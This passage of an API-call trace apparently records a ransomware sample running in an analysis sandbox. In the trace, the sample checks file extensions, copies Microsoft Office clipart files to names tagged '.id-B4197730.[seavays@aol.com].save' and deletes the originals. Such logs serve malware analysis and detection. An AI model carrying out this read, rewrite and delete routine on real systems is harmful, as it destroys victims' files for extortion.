Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.263] lstrlenW (lpString=".1cd") returned 4 [0171.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.263] lstrlenW (lpString=".jpg") returned 4 [0171.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.263] lstrlenW (lpString=".doc") returned 4 [0171.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".docx") returned 5 [0171.263] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.263] lstrlenW (lpString=".pdf") returned 4 [0171.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.263] lstrlenW (lpString=".xls") returned 4 [0171.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.264] lstrlenW (lpString=".xlsx") returned 5 [0171.264] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.264] lstrlenW (lpString=".ppt") returned 4 [0171.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.264] lstrlenW (lpString=".zip") returned 4 [0171.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.264] lstrlenW (lpString=".rar") returned 4 [0171.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.264] lstrlenW (lpString=".bz2") returned 4 [0171.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.459] lstrlenW (lpString=".7z") returned 3 [0171.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.459] lstrlenW (lpString=".dbf") returned 4 [0171.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.459] lstrlenW (lpString=".1cd") returned 4 [0171.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0171.459] lstrlenW (lpString=".jpg") returned 4 [0171.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.459] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0171.459] lstrlenW (lpString="J0107132.WMF") returned 12 [0171.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.673] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=48380) returned 1 [0171.673] CloseHandle (hObject=0x544) returned 1 [0171.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220 [0171.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.676] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.676] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0171.985] GetLastError () returned 0x0 [0171.985] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xbcfc, lpOverlapped=0x0) returned 1 [0171.989] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xbd00, lpOverlapped=0x0) returned 1 [0171.991] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0171.991] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0171.991] SetEndOfFile (hFile=0x510) returned 1 [0171.991] CloseHandle (hObject=0x510) returned 1 [0171.991] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0171.991] SetEndOfFile (hFile=0x544) returned 1 [0172.008] CloseHandle (hObject=0x544) returned 1 [0172.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0172.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.010] lstrlenW (lpString=".doc") returned 4 [0172.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.010] lstrlenW (lpString=".docx") returned 5 [0172.010] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.010] lstrlenW (lpString=".pdf") returned 4 [0172.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.010] lstrlenW (lpString=".xls") returned 4 [0172.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.010] lstrlenW (lpString=".xlsx") returned 5 [0172.010] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.010] lstrlenW (lpString=".ppt") returned 4 [0172.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.010] lstrlenW (lpString=".zip") returned 4 [0172.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.011] lstrlenW (lpString=".rar") returned 4 [0172.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.011] lstrlenW (lpString=".bz2") returned 4 [0172.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.011] lstrlenW (lpString=".7z") returned 3 [0172.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.011] lstrlenW (lpString=".dbf") returned 4 [0172.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.011] lstrlenW (lpString=".1cd") returned 4 [0172.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.011] lstrlenW (lpString=".jpg") returned 4 [0172.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.011] lstrlenW (lpString=".doc") returned 4 [0172.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.011] lstrlenW (lpString=".docx") returned 5 [0172.011] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0172.011] lstrlenW (lpString=".pdf") returned 4 [0172.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.011] lstrlenW (lpString=".xls") returned 4 [0172.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.011] lstrlenW (lpString=".xlsx") returned 5 [0172.012] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0172.012] lstrlenW (lpString=".ppt") returned 4 [0172.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.012] lstrlenW (lpString=".zip") returned 4 [0172.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.012] lstrlenW (lpString=".rar") returned 4 [0172.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.012] lstrlenW (lpString=".bz2") returned 4 [0172.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.012] lstrlenW (lpString=".7z") returned 3 [0172.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.012] lstrlenW (lpString=".dbf") returned 4 [0172.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.012] lstrlenW (lpString=".1cd") returned 4 [0172.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68 [0172.012] lstrlenW (lpString=".jpg") returned 4 [0172.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.012] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.013] lstrlenW (lpString="J0107134.WMF") returned 12 [0172.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.014] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=48388) returned 1 [0172.014] CloseHandle (hObject=0x544) returned 1 [0172.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220 [0172.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.015] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.015] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0172.016] GetLastError () returned 0x0 [0172.016] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xbd04, lpOverlapped=0x0) returned 1 [0172.019] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xbd10, lpOverlapped=0x0) returned 1 [0172.021] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.021] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.021] SetEndOfFile (hFile=0x510) returned 1 [0172.021] CloseHandle (hObject=0x510) returned 1 [0172.021] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.021] SetEndOfFile (hFile=0x544) returned 1 [0172.026] CloseHandle (hObject=0x544) returned 1 [0172.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0172.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.027] lstrlenW (lpString=".doc") returned 4 [0172.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.027] lstrlenW (lpString=".docx") returned 5 [0172.027] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.027] lstrlenW (lpString=".pdf") returned 4 [0172.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.028] lstrlenW (lpString=".xls") returned 4 [0172.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.028] lstrlenW (lpString=".xlsx") returned 5 [0172.028] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.028] lstrlenW (lpString=".ppt") returned 4 [0172.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.028] lstrlenW (lpString=".zip") returned 4 [0172.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.028] lstrlenW (lpString=".rar") returned 4 [0172.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.028] lstrlenW (lpString=".bz2") returned 4 [0172.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.028] lstrlenW (lpString=".7z") returned 3 [0172.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.028] lstrlenW (lpString=".dbf") returned 4 [0172.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.028] lstrlenW (lpString=".1cd") returned 4 [0172.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.028] lstrlenW (lpString=".jpg") returned 4 [0172.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.029] lstrlenW (lpString=".doc") returned 4 [0172.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.029] lstrlenW (lpString=".docx") returned 5 [0172.029] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.029] lstrlenW (lpString=".pdf") returned 4 [0172.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.029] lstrlenW (lpString=".xls") returned 4 [0172.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.029] lstrlenW (lpString=".xlsx") returned 5 [0172.029] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.029] lstrlenW (lpString=".ppt") returned 4 [0172.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.029] lstrlenW (lpString=".zip") returned 4 [0172.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.029] lstrlenW (lpString=".rar") returned 4 [0172.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.029] lstrlenW (lpString=".bz2") returned 4 [0172.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.029] lstrlenW (lpString=".7z") returned 3 [0172.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.029] lstrlenW (lpString=".dbf") returned 4 [0172.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.029] lstrlenW (lpString=".1cd") returned 4 [0172.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0172.030] lstrlenW (lpString=".jpg") returned 4 [0172.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.030] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.030] lstrlenW (lpString="J0107138.WMF") returned 12 [0172.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.032] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=17200) returned 1 [0172.032] CloseHandle (hObject=0x544) returned 1 [0172.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220 [0172.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0172.033] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.033] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0172.034] GetLastError () returned 0x0 [0172.034] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x4330, lpOverlapped=0x0) returned 1 [0172.036] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x4340, lpOverlapped=0x0) returned 1 [0172.038] ReadFile (in: hFile=0x544, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.038] WriteFile (in: hFile=0x510, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.038] SetEndOfFile (hFile=0x510) returned 1 [0172.038] CloseHandle (hObject=0x510) returned 1 [0172.038] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.038] SetEndOfFile (hFile=0x544) returned 1 [0172.042] CloseHandle (hObject=0x544) returned 1 [0172.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0172.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.043] lstrlenW (lpString=".doc") returned 4 [0172.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.043] lstrlenW (lpString=".docx") returned 5 [0172.043] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.044] lstrlenW (lpString=".pdf") returned 4 [0172.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.044] lstrlenW (lpString=".xls") returned 4 [0172.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.044] lstrlenW (lpString=".xlsx") returned 5 [0172.044] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.044] lstrlenW (lpString=".ppt") returned 4 [0172.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.044] lstrlenW (lpString=".zip") returned 4 [0172.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.044] lstrlenW (lpString=".rar") returned 4 [0172.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.044] lstrlenW (lpString=".bz2") returned 4 [0172.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.044] lstrlenW (lpString=".7z") returned 3 [0172.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.044] lstrlenW (lpString=".dbf") returned 4 [0172.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.044] lstrlenW (lpString=".1cd") returned 4 [0172.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.044] lstrlenW (lpString=".jpg") returned 4 [0172.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0172.045] lstrlenW (lpString=".doc") returned 4 [0172.045] lstrcmpiW (lpString1=".doc", 